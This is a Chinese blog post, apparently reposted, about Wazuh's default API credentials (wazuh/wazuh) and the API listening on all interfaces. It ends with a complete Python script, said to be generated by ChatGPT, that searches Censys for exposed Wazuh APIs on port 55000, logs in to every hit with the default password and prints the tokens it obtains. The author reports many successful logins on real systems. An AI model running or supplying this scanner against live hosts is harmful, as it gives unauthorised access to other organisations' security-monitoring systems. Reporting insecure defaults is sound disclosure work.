前言
使用Quickstart方式安装Wazuh后,默认情况下wazuh会生成一个随机的ADMIN_PASSWORD
用于提供给用户登录,此密码强度极高,基本难以暴力破解。
INFO: --- Summary --- INFO: You can access the web interface https://<wazuh-dashboard-ip> User: admin Password: <ADMIN_PASSWORD>INFO: Installation finished.
但同时,Wazuh支持API模块,且API模块的默认配置个人存在一定的不合理性,从而导致安装完成后存在被利用的可能。
问题点
关于API部分,官方文档描述如下(
):从文档中可以看到,默认情况下使用自签名证书,且使用wazuh/wazuh的用户名密码进行登录,并非与Web界面的认证密码一致,那如果同时Wazuh API的端口暴露在互联网上或攻击者已经进入企业内网,则可以尝试使用该凭据尝试进行登录。
尝试验证
首先在本地搭建一个wazuh的服务,并访问API接口,获取到wazuh的自签名证书信息:
从证书信息中可以获取到证书的Common Name
,使用该参数便可在互联网上找到使用同样证书的服务。当然也可以直接使用端口的指纹或直接55000去zoomeye,shodan这种引擎搜索后过滤。
那知道怎么搜索以及怎么登录后,剩下就是写代码验证了,为了图方便,我这里直接使用chatGPT生成相关代码。
代码成功运行后可以看到,可以成功获取jwt_token
的wazuh系统的比例非常高,这也侧面说明了这个wazuh api的默认配置并非十分合理。
后记
其实在Wazuh的API界面有一个Secure API
的说明,但在页面上主要体现的是:To configure the certificates, use the following guide
只有在解释的内页才提示应该修改默认的API口令,并用红色背景重点提示。
API的用户修改密码需要用API的方式登录后进行修改,不用API的用户也许永远不知道还有这么一个地方的用户密码需要修改,且默认情况下API监听0.0.0.0
地址,这实在不是一个好的设计逻辑。
附代码
import httpx import asyncio async def main(): # 设置请求头,可根据需要自行修改 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", 'Accept': 'application/json', 'Authorization': 'Basic REPLACE_YOURS' } # 发送GET请求 url = "https://search.censys.io/api/v2/hosts/search?virtual_hosts=EXCLUDE&q=%28services.tls.certificates.leaf_data.issuer.common_name%3Dwazuh.com%29+and+services.port%3D%6055000%60" response = httpx.get(url, headers=headers) # 处理响应数据 if response.status_code == 200: json_data = response.json() hits = json_data.get("result", {}).get("hits", []) urls = [] for hit in hits: ip = hit.get("ip") if ip: url = f"https://{ip}:55000/security/user/authenticate?raw=true" urls.append(url) # 并发访问所有的url async def get_url(url, auth): async with httpx.AsyncClient(auth=auth, verify=False) as client: return await client.get(url) auth = httpx.BasicAuth("wazuh", "wazuh") tasks = [get_url(url, auth) for url in urls] responses = await asyncio.gather(*tasks) # 输出结果 for i, response in enumerate(responses): if response.status_code == 200: print(f"{hits[i]['ip']} - {response.text}") else: print(f"{hits[i]['ip']} - {response.status_code}") else: print(f"请求失败,状态码为:{response.status_code}") # 运行入口点 asyncio.run(main())
推荐本站淘宝优惠价购买喜欢的宝贝:
以下内容需要兑换:本文链接:https://www.hqyman.cn/post/8631.html 非本站原创文章欢迎转载,原创文章需保留本站地址!
休息一下~~